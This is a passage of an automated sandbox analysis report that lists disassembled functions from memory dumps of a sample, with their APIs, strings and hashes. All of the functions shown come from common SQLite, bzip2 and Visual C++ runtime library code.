Opcode Fuzzy Hash: d60a8ffad84e6f064a5763a2c166d11077ba1814d2ca81799213d95430020a2c
Instruction Fuzzy Hash: 9291C2F3A08B818BE710EB74E8482EE77A1FB067A8F204125EA8D17795DF38D595C740

Function 00007FFB0C1A9310 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 178COMMON

Download Yara Rule

Strings

factory must return a cursor, not %.100s, xrefs: 00007FFB0C1A93FE
Base Connection.__init__ not called., xrefs: 00007FFB0C1A94B9
Cannot operate on a closed database., xrefs: 00007FFB0C1A94D3
SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu., xrefs: 00007FFB0C1A94F3

Memory Dump Source

Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: Base Connection.__init__ not called.$Cannot operate on a closed database.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.$factory must return a cursor, not %.100s
API String ID: 0-2953218143
Opcode ID: b86ca187cf45be0fdef249478a258149448544f65e464e611dbfdf5a566a5db7
Instruction ID: 20e0fa9e636069c2d81178db60e5126a38fd1653be618fee0967d7161eef7518
Opcode Fuzzy Hash: b86ca187cf45be0fdef249478a258149448544f65e464e611dbfdf5a566a5db7
Instruction Fuzzy Hash: CE8107F6A09A4286EB549F75E45897933A0FF45F94F4880B5CA0E47B98DF7CE886C700

Function 00007FFB1C25ADD0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B070

Strings

volatile, xrefs: 00007FFB1C25AE46, 00007FFB1C25AF77
std::nullptr_t , xrefs: 00007FFB1C25B000
volatile , xrefs: 00007FFB1C25AE37, 00007FFB1C25AF68
std::nullptr_t, xrefs: 00007FFB1C25B029

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2943138195-757766384
Opcode ID: 130e2d842e8b7dca47c2836e89f717505be4afbf408c40d13b3259f38f6b460e
Instruction ID: cdc83aa161dde91b44e98ac9c4c6c651f227246e365eb0ae61160f79802bf6fc
Opcode Fuzzy Hash: 130e2d842e8b7dca47c2836e89f717505be4afbf408c40d13b3259f38f6b460e
Instruction Fuzzy Hash: 87716BE1A08F52D6EB14AF74D8490FA72A2BB067A0F644135CA4D03B98DF3DE960C790

Function 00007FFB1C252DB0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 163COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFB1C252DDA

Part of subcall function 00007FFB1C255508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFB1C25108E), ref: 00007FFB1C255516

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C252F2F

Strings

csm, xrefs: 00007FFB1C252DFF
, xrefs: 00007FFB1C252E80
csm, xrefs: 00007FFB1C252F69

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: abort$__except_validate_context_record
String ID: $csm$csm
API String ID: 3000080923-1512788406
Opcode ID: 53f907965be1a88a6fd5fb15d1f71a23af454141565bf2445c328556a8274992
Instruction ID: f743a7510b7205ea03eb2e2609f932df8e3796fd7b73dc5802b1f2fdf737507f
Opcode Fuzzy Hash: 53f907965be1a88a6fd5fb15d1f71a23af454141565bf2445c328556a8274992
Instruction Fuzzy Hash: BE71A2F2A08A8187D7619A35D4487FA7BA2EB06FA4F249135EA4C57785CF3CD891C780

Function 00007FFB1C252394 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB1C255508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFB1C25108E), ref: 00007FFB1C255516

EncodePointer.KERNEL32 ref: 00007FFB1C2523F3
_CallSETranslator.LIBVCRUNTIME ref: 00007FFB1C25243F
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C2525FB

Strings

RCC, xrefs: 00007FFB1C25240F
MOC, xrefs: 00007FFB1C252407

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 9aa894c3c893ab74ee705d7221e0eb3435fed3f33ad5ca95d206f26215c5ec13
Instruction ID: 44ef81cfb9ffa9b5187ca4d2d209ad92e0c8de703c56b775e2896f9066273959
Opcode Fuzzy Hash: 9aa894c3c893ab74ee705d7221e0eb3435fed3f33ad5ca95d206f26215c5ec13
Instruction Fuzzy Hash: 656191F2908B8582D724AB25E4443EAB7A1FB86BA4F144225EB9D03799DF7CD590CB40

Function 00007FFB1C252B88 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFB1C252BB0

Part of subcall function 00007FFB1C255508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFB1C25108E), ref: 00007FFB1C255516

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C252C7F
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FFB1C252C8F

Strings

csm, xrefs: 00007FFB1C252BD2
csm, xrefs: 00007FFB1C252CE1

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Frameabort$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 1245442199-3733052814
Opcode ID: 20a4f0483044e05ead07b9216d24a097e489e06d9183abde2aaa2290edabb471
Instruction ID: c1e4e37648697789b584d647f574f4554d920eaad5ec11786b1df72e00a6bec8
Opcode Fuzzy Hash: 20a4f0483044e05ead07b9216d24a097e489e06d9183abde2aaa2290edabb471
Instruction Fuzzy Hash: 6B6190F2908B4287EB60AB21D0482EA3692EB57BA5F244135EA5D877D5CF38E851C780

Function 00007FFB1C2542F0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 135COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FFB1C2543C2

Strings

MOC, xrefs: 00007FFB1C254330
csm, xrefs: 00007FFB1C254352
csm, xrefs: 00007FFB1C25447F
RCC, xrefs: 00007FFB1C25433C

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: FileHeader
String ID: MOC$RCC$csm$csm
API String ID: 104395404-1441736206
Opcode ID: cc2941d08898c29ec0b938c5700553895786508ed6a70616e0c5efaebfc34f81
Instruction ID: 63669e47486f99ebeca972e8ecacd367ec1b922b8f8206188798e4d6efde5a67
Opcode Fuzzy Hash: cc2941d08898c29ec0b938c5700553895786508ed6a70616e0c5efaebfc34f81
Instruction Fuzzy Hash: 8B518EE2A09A5287EA60BB31D0485FEA6A2FF467A4F240135DF8D43755CF7CEC528681

Function 00007FFB1BB11ED4 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 119COMMON

Download Yara Rule

APIs

00007FFB2ADAFCF0.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFB1BB1B18A

Strings

VUUU, xrefs: 00007FFB1BB11F91
%d work, %d block, ratio %5.2f, xrefs: 00007FFB1BB1B170
too repetitive; using fallback sorting algorithm, xrefs: 00007FFB1BB1B193

Memory Dump Source

Source File: 00000007.00000002.1715481605.00007FFB1BB11000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFB1BB10000, based on PE: true

Associated: 00000007.00000002.1715437200.00007FFB1BB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715481605.00007FFB1BB25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715572310.00007FFB1BB26000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715611009.00007FFB1BB28000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1bb10000_X9g8L63QGs.jbxd

Similarity

API ID: 00007
String ID: %d work, %d block, ratio %5.2f$ too repetitive; using fallback sorting algorithm$VUUU
API String ID: 3568877910-2988393112
Opcode ID: 4b1c468c53f6403045b0b18d06b17fdc23e8f335e10cb80c9efd56bfef58ea73
Instruction ID: 0d3759838c67c32f0832ceffe8950b9c8edf11ef76edd8ae57312839c73ac3e2
Opcode Fuzzy Hash: 4b1c468c53f6403045b0b18d06b17fdc23e8f335e10cb80c9efd56bfef58ea73
Instruction Fuzzy Hash: 3F41A6BAA18A41C7E7249F36E44527A73A6FB84B64F106235DE0E53BB5DF3CD441C600

Function 00007FFB1BB13A24 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 108COMMON

Download Yara Rule

Strings

combined CRCs: stored = 0x%08x, computed = 0x%08x, xrefs: 00007FFB1BB1B9BD
{0x%08x, 0x%08x}, xrefs: 00007FFB1BB1B969

Memory Dump Source

Source File: 00000007.00000002.1715481605.00007FFB1BB11000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFB1BB10000, based on PE: true

Associated: 00000007.00000002.1715437200.00007FFB1BB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715481605.00007FFB1BB25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715572310.00007FFB1BB26000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715611009.00007FFB1BB28000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1bb10000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: combined CRCs: stored = 0x%08x, computed = 0x%08x$ {0x%08x, 0x%08x}
API String ID: 0-2474432645
Opcode ID: 7d4c9588c4fc757401baa0773cfa85e09fcd74270353b5995134900e9188f0ce
Instruction ID: 8e059a7a1ed1b2e84c82f198e456f74ef77358453c15df3e53f104cf99b61c19
Opcode Fuzzy Hash: 7d4c9588c4fc757401baa0773cfa85e09fcd74270353b5995134900e9188f0ce
Instruction Fuzzy Hash: B941A5B9A1ED42D6EB748F34E09037E2292FB44B64F14E235D90E86AE5EE3CA441C710

Function 00007FFB1BB1A5A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFB1BB1A5CC
GetCurrentThreadId.KERNEL32 ref: 00007FFB1BB1A5DA
GetCurrentProcessId.KERNEL32 ref: 00007FFB1BB1A5E6
QueryPerformanceCounter.KERNEL32 ref: 00007FFB1BB1A5F6

Strings

Q2"e, xrefs: 00007FFB1BB1A5AD

Memory Dump Source

Source File: 00000007.00000002.1715481605.00007FFB1BB11000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFB1BB10000, based on PE: true

Associated: 00000007.00000002.1715437200.00007FFB1BB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715481605.00007FFB1BB25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715572310.00007FFB1BB26000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715611009.00007FFB1BB28000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1bb10000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID: Q2"e
API String ID: 2933794660-2497648249
Opcode ID: e26e1e7f29a364d318d08a9c47668167dc9c5e6d7c755545a2497d229ed19d67
Instruction ID: dcb73aad10c883c3275b6541c0a807e214e2a25221b3a6b99b38f620e08775bf
Opcode Fuzzy Hash: e26e1e7f29a364d318d08a9c47668167dc9c5e6d7c755545a2497d229ed19d67
Instruction Fuzzy Hash: 81114C6AB14F058AEB10DF70E8553AA33A4FB187A8F042E31DA2D42BA4DF3CE1558340

Function 00007FFB0C0A9750 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 288COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00000000,?,00000003,00000000,00007FFB0C0A9F87,?,00000007,?), ref: 00007FFB0C0A9917

Strings

%.*z:%u, xrefs: 00007FFB0C0A99E6
rowid, xrefs: 00007FFB0C0A98A8
column%d, xrefs: 00007FFB0C0A9925

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %.*z:%u$column%d$rowid
API String ID: 3122504284-2903559916
Opcode ID: efce2a594c8615c6195497c0eb65d48d2a67f449694f3429559b3ef3d31313fd
Instruction ID: 1c25b8b936a5143f8487b37e24dc6381904feb993db5c507442b5e17e6e45f4b
Opcode Fuzzy Hash: efce2a594c8615c6195497c0eb65d48d2a67f449694f3429559b3ef3d31313fd
Instruction Fuzzy Hash: 33B1CEE2B0968285FA699F25D448BBA67A0EF41B84F494275DE5D0B7D5FF3CE801C308

Function 00007FFB0C0B85A0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 239COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFB0C0B8A6F), ref: 00007FFB0C0B8739
00007FFB1C263010.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFB0C0B8A6F), ref: 00007FFB0C0B87BB
00007FFB1C263010.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFB0C0B8A6F), ref: 00007FFB0C0B88AD

Strings

RETURNING may not use "TABLE.*" wildcards, xrefs: 00007FFB0C0B8621

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: RETURNING may not use "TABLE.*" wildcards
API String ID: 3122504284-2313493979
Opcode ID: 17f7c90136fb561778db9ab3758a5a3b376a01926fa97c884be4e8f3c66a5517
Instruction ID: 58f7db47ab2c7a1fb29ca4ac7f6d0bc383f278f01cbe8ae1c9ff44d163114930
Opcode Fuzzy Hash: 17f7c90136fb561778db9ab3758a5a3b376a01926fa97c884be4e8f3c66a5517
Instruction Fuzzy Hash: F2B1BCE2A08B8186E720CF25D4486A977A6FF55BA4F058335DE6D077E5EF38E191C304

Function 00007FFB0C06D3D0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 220COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFB0C067847), ref: 00007FFB0C06D52A
00007FFB1C263010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFB0C067847), ref: 00007FFB0C06D554
00007FFB1C263010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFB0C067847), ref: 00007FFB0C06D5A7

Strings

H, xrefs: 00007FFB0C06D53E

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: H
API String ID: 3122504284-2852464175
Opcode ID: cfbeda1bf99951151eff030447c4d7a4d5e89bf1fbf00df94b65fd72b816f457
Instruction ID: 8f85c541d12cdbbd215e93c33dca39651e27dcd99f58a3bfe0b8f1c9b0f7c46a
Opcode Fuzzy Hash: cfbeda1bf99951151eff030447c4d7a4d5e89bf1fbf00df94b65fd72b816f457
Instruction Fuzzy Hash: 6E919FE2B197418AEB248F26D444B3967A1FF84B94F144635EEAD47B94EF3CE450CB08

Function 00007FFB0C0A93F0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 198COMMON

Download Yara Rule

Strings

rowid, xrefs: 00007FFB0C0A954E
%s.%s, xrefs: 00007FFB0C0A956E
column%d, xrefs: 00007FFB0C0A95F8

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: %s.%s$column%d$rowid
API String ID: 0-1505470444
Opcode ID: 30ee24403bbbe39b15dc8828bd75070d7d44f9a04dc3d048d0a1485fb1bb9eaf
Instruction ID: df64814a8c2743da89c893950dafb210c1ee46baf7b296032887fe9f1ef5d139
Opcode Fuzzy Hash: 30ee24403bbbe39b15dc8828bd75070d7d44f9a04dc3d048d0a1485fb1bb9eaf
Instruction Fuzzy Hash: 949189F2B08B8185EA20DB25D448BAA67A4FF45BA4F444326DEBD477E5EF38D441C304

Function 00007FFB0C0489A0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 192COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 00007FFB0C048A66
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFB0C048A4C
database corruption, xrefs: 00007FFB0C048A5F

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 0-3727861699
Opcode ID: ac59a9cb4a734ac58b84e693e8c4ebf4f1f7077b93233f305f08416909222bbb
Instruction ID: 7678807d70b5a8ca8b9249b3c4c9f733c4ee7386a4b8c80f01bef0dd72a138b0
Opcode Fuzzy Hash: ac59a9cb4a734ac58b84e693e8c4ebf4f1f7077b93233f305f08416909222bbb
Instruction Fuzzy Hash: D181E8E26086D19AE7548B35D588ABF7BA0FF40B84F048636DB8D87681EF3CE495C744

Function 00007FFB0C083E60 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C08408E

Strings

, xrefs: 00007FFB0C083F3D
CREATE TABLE , xrefs: 00007FFB0C083F7F
, , xrefs: 00007FFB0C083F1E

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: $, $CREATE TABLE
API String ID: 3122504284-3459038510
Opcode ID: eaaf35ae7b10ff9f02fc1879a24a9f13428addb4e320b869457f88e9802eb3dd
Instruction ID: 6761270e23b2cf3da68567366fff8e4becb38ce2c23111274279fcbd35610e49
Opcode Fuzzy Hash: eaaf35ae7b10ff9f02fc1879a24a9f13428addb4e320b869457f88e9802eb3dd
Instruction Fuzzy Hash: CB61D6E2B0858286DB158F25E4446B9B7A2BF80BA4F448235DE9D477E1EF3DD44AC704

Function 00007FFB1BB12358 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

00007FFB2ADAFCF0.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFB1BB1B333

Strings

final combined CRC = 0x%08x , xrefs: 00007FFB1BB1B36F
block %d: crc = 0x%08x, combined CRC = 0x%08x, size = %d, xrefs: 00007FFB1BB1B33E

Memory Dump Source

Source File: 00000007.00000002.1715481605.00007FFB1BB11000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFB1BB10000, based on PE: true

Associated: 00000007.00000002.1715437200.00007FFB1BB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715481605.00007FFB1BB25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715572310.00007FFB1BB26000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715611009.00007FFB1BB28000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1bb10000_X9g8L63QGs.jbxd

Similarity

API ID: 00007
String ID: block %d: crc = 0x%08x, combined CRC = 0x%08x, size = %d$ final combined CRC = 0x%08x
API String ID: 3568877910-3357347091
Opcode ID: c5541a520e518ba75f4c3a1f0d11ee1cc57c429cfdd7a83228e764fc4722281d
Instruction ID: a536931089c1c7dc81e88dfe23febce638c84ab6b35d52f95f216544e85cd7dc
Opcode Fuzzy Hash: c5541a520e518ba75f4c3a1f0d11ee1cc57c429cfdd7a83228e764fc4722281d
Instruction Fuzzy Hash: 5861D6BAB15A12D6E620EF36F4553BB2392FB85F54F14A035CE0907B66DE3DE4028740

Function 00007FFB1C25E720 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFB1C25E74B
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FFB1C25E7E2
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FFB1C25E4E5), ref: 00007FFB1C25E83C

Strings

csm, xrefs: 00007FFB1C25E7C9

Memory Dump Source

